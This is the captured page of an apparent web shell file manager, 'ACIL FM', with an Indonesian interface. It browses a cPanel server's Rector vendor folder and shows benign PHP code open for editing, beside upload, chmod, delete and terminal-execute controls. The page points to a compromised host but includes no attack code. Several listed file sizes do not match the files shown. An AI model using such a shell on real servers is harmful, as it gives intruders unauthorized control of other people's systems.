ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeFactory
/
opt
cpanel
ea-wappspector
vendor
rector
rector
rules
Php80
NodeFactory
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
AttrGroupsFactory.php
1.34 MB
chmod
View
DL
Edit
Rename
Delete
MatchArmsFactory.php
791 B
chmod
View
DL
Edit
Rename
Delete
MatchFactory.php
3.2 MB
chmod
View
DL
Edit
Rename
Delete
NestedAttrGroupsFactory.php
2.04 MB
chmod
View
DL
Edit
Rename
Delete
StrStartsWithFuncCallFactory.php
753 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/rules/Php80/NodeFactory/AttrGroupsFactory.php
<?php declare (strict_types=1); namespace Rector\Php80\NodeFactory; use PhpParser\Node\AttributeGroup; use PhpParser\Node\Stmt\Use_; use Rector\Php80\ValueObject\DoctrineTagAndAnnotationToAttribute; use Rector\PhpAttribute\NodeFactory\PhpAttributeGroupFactory; final class AttrGroupsFactory { /** * @readonly * @var \Rector\PhpAttribute\NodeFactory\PhpAttributeGroupFactory */ private $phpAttributeGroupFactory; public function __construct(PhpAttributeGroupFactory $phpAttributeGroupFactory) { $this->phpAttributeGroupFactory = $phpAttributeGroupFactory; } /** * @param DoctrineTagAndAnnotationToAttribute[] $doctrineTagAndAnnotationToAttributes * @param Use_[] $uses * @return AttributeGroup[] */ public function create(array $doctrineTagAndAnnotationToAttributes, array $uses) : array { $attributeGroups = []; foreach ($doctrineTagAndAnnotationToAttributes as $doctrineTagAndAnnotationToAttribute) { $doctrineAnnotationTagValueNode = $doctrineTagAndAnnotationToAttribute->getDoctrineAnnotationTagValueNode(); // add attributes $attributeGroups[] = $this->phpAttributeGroupFactory->create($doctrineAnnotationTagValueNode, $doctrineTagAndAnnotationToAttribute->getAnnotationToAttribute(), $uses); } return $attributeGroups; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply